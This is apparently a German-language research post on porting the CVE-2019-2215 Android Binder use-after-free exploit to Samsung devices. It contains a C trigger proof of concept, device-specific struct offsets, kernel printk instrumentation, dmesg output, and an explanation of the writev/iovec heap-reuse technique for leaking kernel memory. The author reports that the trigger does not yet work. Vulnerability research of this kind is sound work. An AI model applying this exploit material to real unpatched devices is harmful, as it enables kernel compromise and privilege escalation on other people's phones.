
PoC und Analyse von CVE-2019-2215, einer Use-after-Free-Schwachstelle im Android Binder, mit Kernel-Instrumentierung und Exploit-Tuning für betroffene Samsung-Geräte.
Quelle:
https://bugs.chromium.org/p/project-zero/issues/detail?id=1942
https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=414885
Samsung S7 und S7 Edge mit Kernel 3.18.x scheinen nicht anfällig zu sein (könnten es aber mit mehr Arbeit und Anpassungen im PoC sein). Konnte nicht mehr sehen, da ich keine gerooteten Geräte habe.
Samsung S3Neo+ mit LineageOS Kernel 3.4.0 möglicherweise anfällig (noch in Arbeit)
Kernel 3.4.0
https://github.com/S3NEO/android_kernel_samsung_s3ve3g/
No KASLR
No need to leak Kernel Struct Addresses.
8-byte aligned (because there is one less field in the struct)
binder_thread size:0xfc (252)
wait queue offset:0x2c (44)
Had to add at least 2 entries for it to trigger, with 1, it didn't trigger
https://github.com/S3NEO/android_kernel_samsung_s3ve3g/blob/348ef929213854f5c7ce6b608e2ca0216d6bdce7/fs/eventpoll.c#L533
PoC:
#include <fcntl.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdio.h>
#define BINDER_THREAD_EXIT 0x40046208ul
#define BINDER_VERSION 0xc0046209ul
int main()
{
int fd,fd1,fd2, epfd,epfd1;
struct epoll_event event = { .events = EPOLLOUT };
fd = open("/dev/binder", O_RDONLY);
fd1 = open("/dev/random", O_RDONLY);
epfd = epoll_create(1000);
epfd1 = epoll_create(1000);
if (epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event)) err(1, "epoll_add");
if (epoll_ctl(epfd1, EPOLL_CTL_ADD, fd1, &event)) err(1, "epoll_add");
//ioctl(fd, BINDER_VERSION, NULL);
ioctl(fd, BINDER_THREAD_EXIT, NULL);
printf("Finished here.");
}
Modifizierte binder.c und evenpoll.c im Kernel, um zu sehen, was passiert
binder.c
static int binder_free_thread(struct binder_proc *proc,
struct binder_thread *thread)
{
struct binder_transaction *t;
struct binder_transaction *send_reply = NULL;
int active_transactions = 0;
static const size_t memberOffset = offsetof(binder_thread, wait);
wait_queue_head_t *wqhptr = &thread->wait;
wait_queue_head_t *pwqhptr = &proc->wait;
struct list_head *n1,*p1;
wait_queue_t *my2;
printk(KERN_INFO "iovec str size:%d",sizeof(iovec));
printk(KERN_INFO "thread->task_list:%p",(void *)&wqhptr->task_list);
printk(KERN_INFO "proc->task_list:%p",(void *)&pwqhptr->task_list);
list_for_each_safe(p1,n1, &pwqhptr->task_list){
my2 = list_entry(p1, wait_queue_t, task_list);
printk (KERN_INFO "p list= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);
}
list_for_each_safe(p1,n1, &wqhptr->task_list){
my2 = list_entry(p1, wait_queue_t, task_list);
printk (KERN_INFO "t list= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);
}
eventpoll.c
static void ep_remove_wait_queue(struct eppoll_entry *pwq)
{
wait_queue_head_t *whead;
wait_queue_t *strptr;
struct list_head *n1,*p1;
wait_queue_t *my2;
rcu_read_lock();
/* If it is cleared by POLLFREE, it should be rcu-safe */
whead = rcu_dereference(pwq->whead);
printk(KERN_INFO "whead before");
if (whead)
{
strptr=&pwq->wait;
list_for_each_safe(p1,n1, &pwq->whead->task_list){
my2 = list_entry(p1, wait_queue_t, task_list);
printk (KERN_INFO "my2= %p %p" ,(void*)my2->task_list.prev,(void*)my2->task_list.next);
}
remove_wait_queue(whead, &pwq->wait);
printk(KERN_INFO "remove wait queue:%p", (void*)&pwq->wait);
printk(KERN_INFO "remove wait queue task list:%p", (void*)&strptr->task_list);
Ich sehe, die Liste wird ausgegeben....aber während des Android-Starts nicht mein PoC:
Während des Android-Starts
[ 84.747753] binder_ioctl: 1878:2371 40046208 0
[ 84.747765] iovec str size:8
[ 84.747771] thread->task_list:e4fb2e30
[ 84.747777] proc->task_list:e57d866c
[ 84.747784] p list= e57d866c e7fffe7c
[ 84.747790] p list= e656de7c e57d866c
[ 84.747797] binder_free_thread size:252 worker_off:44
[ 84.747804] freed thread:e4fb2e00
Ich sehe proc->task_list ...
PoC:
[ 642.254192] wq queue:e7ce8798
[ 642.254201] epoll struct:e7ce8780
[ 642.254214] wq queue:e7ce8f98
[ 642.254220] epoll struct:e7ce8f80
[ 642.254230] wq queue:e7ce8718
[ 642.254236] epoll struct:e7ce8700
[ 642.254266] binder_ioctl: 7392:7392 40046208 0
[ 642.254274] iovec str size:8
[ 642.254280] thread->task_list:e5389b30
[ 642.254286] proc->task_list:c309d86c
[ 642.254292] binder_free_thread size:252 worker_off:44
[ 642.254299] freed thread:e5389b00
[ 642.254736] ep_unregister_pollwait struct:e7ce8780 epi struct:e51d0480
[ 642.254792] ep_unregister_pollwait struct:e7ce8f80 epi struct:e51d0a80
[ 642.254799] ep_unregister_pollwait list not empty
[ 642.254805] whead before
[ 642.254811] my2= c0f50cc4 c0f50cc4
[ 642.254817] remove wait queue:e734b994
[ 642.254823] remove wait queue task list:e734b9a0
[ 642.254830] ep_unregister_pollwait list not empty
[ 642.254835] whead before
[ 642.254841] my2= c0f50cd0 c0f50cd0
[ 642.254847] remove wait queue:e734bb24
[ 642.254852] remove wait queue task list:e734bb30
[ 642.254863] ep_free
[ 642.254873] ep_free
[ 642.254881] ep_free
Der Fehler wird in meinem PoC jedoch nicht ausgelöst. Ich kann keine doppelten Listeneinträge unter thread und proc sehen :/
Hier sollte der Use-After-Free-Fehler auftreten.
Code:
ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
Wenn dies aufgerufen wird, wird die binder_thread-Struktur im Kernel freigegeben.
Unmittelbar danach ruft der Elternprozess auf:
Code:
b = writev(pipefd[1], iovec_array, IOVEC_ARRAY_SZ);
Im Kernel wird Speicher allokiert, um iovec_array aus dem Userspace zu kopieren. Dieser PoC hängt davon ab, dass der Zeiger dieser Allokation derselbe ist wie der kürzlich freigegebene binder_thread-Speicher.
Wenn dann der Kindprozess beendet wird, verwendet die EPOLL-Bereinigung die Warteschlange in der binder_thread-Struktur, die mit den Werten aus iovec_array überschrieben wurde. Wenn die EPOLL-Bereinigung die Warteschlange entfernt, wird 0xDEADBEEF durch einen Zeiger im Kernelspace überschrieben. Dies muss genau dann passieren, bevor der writev-Aufruf im Elternprozess beginnt, den zweiten Puffer zu kopieren, was uns einen Kernel-Space-Speicherleck verschafft.
Wenn writev 0x1000 zurückgibt, bedeutet das, dass das Timing falsch ist, der Warteschlangen-Offset falsch ist, die kmalloc-Allokation in der writev-Funktion nicht mit dem freigegebenen binder_thread übereinstimmt oder Ihr Kernel nicht anfällig ist.